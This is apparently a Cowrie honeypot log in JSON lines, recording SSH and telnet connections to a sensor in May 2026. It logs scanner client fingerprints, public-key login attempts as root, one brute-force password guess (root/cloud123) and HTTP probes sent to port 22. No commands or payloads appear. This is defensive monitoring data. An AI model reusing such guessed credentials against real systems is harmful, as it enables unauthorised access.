{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:63:7d:45:d5:7e:66:17:c4:f3:c7:78:cb:d6:0b:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQkRCOFfvkUnL0EvOW9jfLZ2fdkHf/hrXVthGeF3DlB6qSDObw2BlxK8MOOdO0Zzs0yQ6/Ivyl9bfHA/2BaahYjIALZ5RczzYSr4ZlmMlYZ+SWUzsng2Y4bql0PrWXDtnQBOjJ4yRksxf1m9uCoFQ1u36kd+o+L9jxPcbL+7IkVlEAE4BMs6Cgxwn+sBJlakREn144s90YNgNZ2+O6pjFEy/SmKFLnNNRe1SSDmYAYkGvKYHReA9VmdWtTnDim35KtQ3xNxO7v9V6z/3s9EVZaZXdre7/XeS9vPF13jPsM1yTfqHOQtnZqSLIX5ZzT+ge2b2AAZNsC5TcpWnUMVHb1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.874540Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:0b:1f:f0:63:05:52:30:a8:9f:6b:fd:91:73:aa:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeMCuTpNbpQ7J03hykIVJ/IvKpmKTY4sH1OgjEH4s+bi/jVXD2Jz035Me/zZg1Dyi2bj2JOobI4UT7Wwj7w+AwyUt/AsDuhSiTWYYrQ/ABUXYR/PRzlYc0IyZNC2mk6vrbZVQMT+GQ6eQHwQyyxGciufGvmlgBG+luo5rsxbJAHdzHUMIWJgUNICvTLhir3WKbGAKxBTUMYMWCw05Ze/jjS5FvsIwpSf61GIhq+UdpN/9G0oc4skPLskf8t4RzhdHpmd5TZL4nI9vco/XhJX2E5hnxvBiHAfdVdXzBCGSwspcKbIufqs4MoURETNpgRowxVq7YrtcqmsF3RRvDzTrN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:0b:1f:f0:63:05:52:30:a8:9f:6b:fd:91:73:aa:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.886192Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:0b:1f:f0:63:05:52:30:a8:9f:6b:fd:91:73:aa:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeMCuTpNbpQ7J03hykIVJ/IvKpmKTY4sH1OgjEH4s+bi/jVXD2Jz035Me/zZg1Dyi2bj2JOobI4UT7Wwj7w+AwyUt/AsDuhSiTWYYrQ/ABUXYR/PRzlYc0IyZNC2mk6vrbZVQMT+GQ6eQHwQyyxGciufGvmlgBG+luo5rsxbJAHdzHUMIWJgUNICvTLhir3WKbGAKxBTUMYMWCw05Ze/jjS5FvsIwpSf61GIhq+UdpN/9G0oc4skPLskf8t4RzhdHpmd5TZL4nI9vco/XhJX2E5hnxvBiHAfdVdXzBCGSwspcKbIufqs4MoURETNpgRowxVq7YrtcqmsF3RRvDzTrN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.890070Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.900339Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.236","src_port":40458,"dst_ip":"10.17.0.5","dst_port":22,"session":"1461dc402de7","protocol":"ssh","message":"New connection: 185.255.100.236:40458 (10.17.0.5:22) [session: 1461dc402de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.614735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.618896Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.626194Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:20:2c:54:a6:6d:66:8d:7b:e9:17:af:a6:91:cd:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrqKZ38AKskGfbqXOqJTk3XxImCMvQGxcGxl0lurjbcbbWrXfgZq488iGHufQ7l1sBTN8+X55AWKTx1B72/3bFKKv4udebuTQ5OmCByV4oBtQVumwaIJEK75GeG4izsD0ogdgcR9g5pXGTlVLXt5AAKCI6rbOJpFammfhUeTEO6kR+fFO1lK7TsFidULJ+Gaiq5LdPjPRaJw++6f94TQ91TOzFjNV8ZT7ugf4o59eudfSTe2qK2O+BZkwYlYKhRxRRsaobQEj5KhX3wVVM+wO3ZsulvtdoJ8S0YFSz5fqb7wIoGxfHj7JnKrhU+aTxDx58F+60BERZpIVpDSFeZaB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:20:2c:54:a6:6d:66:8d:7b:e9:17:af:a6:91:cd:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.643703Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:20:2c:54:a6:6d:66:8d:7b:e9:17:af:a6:91:cd:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrqKZ38AKskGfbqXOqJTk3XxImCMvQGxcGxl0lurjbcbbWrXfgZq488iGHufQ7l1sBTN8+X55AWKTx1B72/3bFKKv4udebuTQ5OmCByV4oBtQVumwaIJEK75GeG4izsD0ogdgcR9g5pXGTlVLXt5AAKCI6rbOJpFammfhUeTEO6kR+fFO1lK7TsFidULJ+Gaiq5LdPjPRaJw++6f94TQ91TOzFjNV8ZT7ugf4o59eudfSTe2qK2O+BZkwYlYKhRxRRsaobQEj5KhX3wVVM+wO3ZsulvtdoJ8S0YFSz5fqb7wIoGxfHj7JnKrhU+aTxDx58F+60BERZpIVpDSFeZaB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.646767Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:18:a1:f1:0b:6d:22:cf:94:78:ca:fa:dd:b0:68:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpQfNizpxfwzhoLZfo7vEJhfr9rHBILWKAc1U5FbQ5bjbmkCEgjEb8anJXkbIJFdS3cqIcrhxHZmBGjIg9YRhzeZPGdRaicQN8/B5glM/DteXvgZVXh5vHZL9KFsOv9x+3BM2DkP3PWgbuJvQqRVh66Hz3KxX2UPmm3p+94kckCRnZHDTJG7d1ApKxpHKiL2KI723PYb0AlXLM0mOOC/MvNemDxbf2yjC8Gbr+cPL1Pz1A8fiyjWGTLnwPcZkrsTGoT0ZYRRzeBdzYLczyPtBlAISLTrfynEkIQ/USv2C4MdBsN63BW+bQxAkTamY9v6k3b+I+roiGUmDr0KuuXthN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:18:a1:f1:0b:6d:22:cf:94:78:ca:fa:dd:b0:68:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.654342Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:18:a1:f1:0b:6d:22:cf:94:78:ca:fa:dd:b0:68:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpQfNizpxfwzhoLZfo7vEJhfr9rHBILWKAc1U5FbQ5bjbmkCEgjEb8anJXkbIJFdS3cqIcrhxHZmBGjIg9YRhzeZPGdRaicQN8/B5glM/DteXvgZVXh5vHZL9KFsOv9x+3BM2DkP3PWgbuJvQqRVh66Hz3KxX2UPmm3p+94kckCRnZHDTJG7d1ApKxpHKiL2KI723PYb0AlXLM0mOOC/MvNemDxbf2yjC8Gbr+cPL1Pz1A8fiyjWGTLnwPcZkrsTGoT0ZYRRzeBdzYLczyPtBlAISLTrfynEkIQ/USv2C4MdBsN63BW+bQxAkTamY9v6k3b+I+roiGUmDr0KuuXthN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.661456Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:ff:3c:2d:97:d6:56:a2:fe:53:63:3b:f4:96:3a:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZACCRHOhRMs+vz7jFGvv47HkhPHbiaPat5s+v2k8gL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:ff:3c:2d:97:d6:56:a2:fe:53:63:3b:f4:96:3a:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.670403Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:ff:3c:2d:97:d6:56:a2:fe:53:63:3b:f4:96:3a:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZACCRHOhRMs+vz7jFGvv47HkhPHbiaPat5s+v2k8gL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.673660Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:63:7d:45:d5:7e:66:17:c4:f3:c7:78:cb:d6:0b:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQkRCOFfvkUnL0EvOW9jfLZ2fdkHf/hrXVthGeF3DlB6qSDObw2BlxK8MOOdO0Zzs0yQ6/Ivyl9bfHA/2BaahYjIALZ5RczzYSr4ZlmMlYZ+SWUzsng2Y4bql0PrWXDtnQBOjJ4yRksxf1m9uCoFQ1u36kd+o+L9jxPcbL+7IkVlEAE4BMs6Cgxwn+sBJlakREn144s90YNgNZ2+O6pjFEy/SmKFLnNNRe1SSDmYAYkGvKYHReA9VmdWtTnDim35KtQ3xNxO7v9V6z/3s9EVZaZXdre7/XeS9vPF13jPsM1yTfqHOQtnZqSLIX5ZzT+ge2b2AAZNsC5TcpWnUMVHb1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:63:7d:45:d5:7e:66:17:c4:f3:c7:78:cb:d6:0b:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.683018Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:63:7d:45:d5:7e:66:17:c4:f3:c7:78:cb:d6:0b:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQkRCOFfvkUnL0EvOW9jfLZ2fdkHf/hrXVthGeF3DlB6qSDObw2BlxK8MOOdO0Zzs0yQ6/Ivyl9bfHA/2BaahYjIALZ5RczzYSr4ZlmMlYZ+SWUzsng2Y4bql0PrWXDtnQBOjJ4yRksxf1m9uCoFQ1u36kd+o+L9jxPcbL+7IkVlEAE4BMs6Cgxwn+sBJlakREn144s90YNgNZ2+O6pjFEy/SmKFLnNNRe1SSDmYAYkGvKYHReA9VmdWtTnDim35KtQ3xNxO7v9V6z/3s9EVZaZXdre7/XeS9vPF13jPsM1yTfqHOQtnZqSLIX5ZzT+ge2b2AAZNsC5TcpWnUMVHb1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.686937Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:0b:1f:f0:63:05:52:30:a8:9f:6b:fd:91:73:aa:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeMCuTpNbpQ7J03hykIVJ/IvKpmKTY4sH1OgjEH4s+bi/jVXD2Jz035Me/zZg1Dyi2bj2JOobI4UT7Wwj7w+AwyUt/AsDuhSiTWYYrQ/ABUXYR/PRzlYc0IyZNC2mk6vrbZVQMT+GQ6eQHwQyyxGciufGvmlgBG+luo5rsxbJAHdzHUMIWJgUNICvTLhir3WKbGAKxBTUMYMWCw05Ze/jjS5FvsIwpSf61GIhq+UdpN/9G0oc4skPLskf8t4RzhdHpmd5TZL4nI9vco/XhJX2E5hnxvBiHAfdVdXzBCGSwspcKbIufqs4MoURETNpgRowxVq7YrtcqmsF3RRvDzTrN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:0b:1f:f0:63:05:52:30:a8:9f:6b:fd:91:73:aa:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.697446Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:0b:1f:f0:63:05:52:30:a8:9f:6b:fd:91:73:aa:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeMCuTpNbpQ7J03hykIVJ/IvKpmKTY4sH1OgjEH4s+bi/jVXD2Jz035Me/zZg1Dyi2bj2JOobI4UT7Wwj7w+AwyUt/AsDuhSiTWYYrQ/ABUXYR/PRzlYc0IyZNC2mk6vrbZVQMT+GQ6eQHwQyyxGciufGvmlgBG+luo5rsxbJAHdzHUMIWJgUNICvTLhir3WKbGAKxBTUMYMWCw05Ze/jjS5FvsIwpSf61GIhq+UdpN/9G0oc4skPLskf8t4RzhdHpmd5TZL4nI9vco/XhJX2E5hnxvBiHAfdVdXzBCGSwspcKbIufqs4MoURETNpgRowxVq7YrtcqmsF3RRvDzTrN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.701400Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:58.713664Z","src_ip":"185.255.100.236","session":"1461dc402de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35213,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f97f243c053","protocol":"telnet","message":"New connection: 212.55.149.117:35213 (10.17.0.5:23) [session: 8f97f243c053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:03.288031Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33234,"dst_ip":"159.203.135.109","dst_port":23,"session":"16d623615216","protocol":"telnet","message":"New connection: 69.6.249.0:33234 (159.203.135.109:23) [session: 16d623615216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:05.741517Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":48284,"dst_ip":"159.203.135.109","dst_port":23,"session":"60be4a3c1129","protocol":"telnet","message":"New connection: 69.6.249.0:48284 (159.203.135.109:23) [session: 60be4a3c1129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:21.202111Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":51066,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e397bcf75f3","protocol":"ssh","message":"New connection: 103.15.226.202:51066 (10.17.0.5:22) [session: 7e397bcf75f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:28.823699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:28.828530Z","src_ip":"103.15.226.202","session":"7e397bcf75f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:29.075743Z","src_ip":"103.15.226.202","session":"7e397bcf75f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud123","message":"login attempt [root/cloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:29.825701Z","src_ip":"103.15.226.202","session":"7e397bcf75f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:31.075066Z","src_ip":"103.15.226.202","session":"7e397bcf75f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.34124732017517,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:39.082432Z","src_ip":"69.6.249.0","session":"16d623615216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.50943422317505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:53.711420Z","src_ip":"69.6.249.0","session":"60be4a3c1129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.6.13","src_port":51410,"dst_ip":"10.17.0.5","dst_port":22,"session":"26dc6e40f752","protocol":"ssh","message":"New connection: 167.99.6.13:51410 (10.17.0.5:22) [session: 26dc6e40f752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:57.764722Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:57.769177Z","src_ip":"167.99.6.13","session":"26dc6e40f752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:57.772478Z","src_ip":"167.99.6.13","session":"26dc6e40f752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.6.13","src_port":51426,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b0919626f0","protocol":"ssh","message":"New connection: 167.99.6.13:51426 (10.17.0.5:22) [session: 68b0919626f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:57.780625Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:57.786406Z","src_ip":"167.99.6.13","session":"68b0919626f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:06:57.790360Z","src_ip":"167.99.6.13","session":"68b0919626f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.4499237537384,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:03.737816Z","src_ip":"212.55.149.117","session":"8f97f243c053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38068,"dst_ip":"159.203.135.109","dst_port":23,"session":"0365265f3e71","protocol":"telnet","message":"New connection: 69.6.249.0:38068 (159.203.135.109:23) [session: 0365265f3e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:05.014090Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":57326,"dst_ip":"159.203.135.109","dst_port":22,"session":"c52501fc9244","protocol":"ssh","message":"New connection: 80.94.92.186:57326 (159.203.135.109:22) [session: c52501fc9244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:14.472165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:14.678885Z","src_ip":"80.94.92.186","session":"c52501fc9244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:14.682775Z","src_ip":"80.94.92.186","session":"c52501fc9244","protocol":"ssh"}
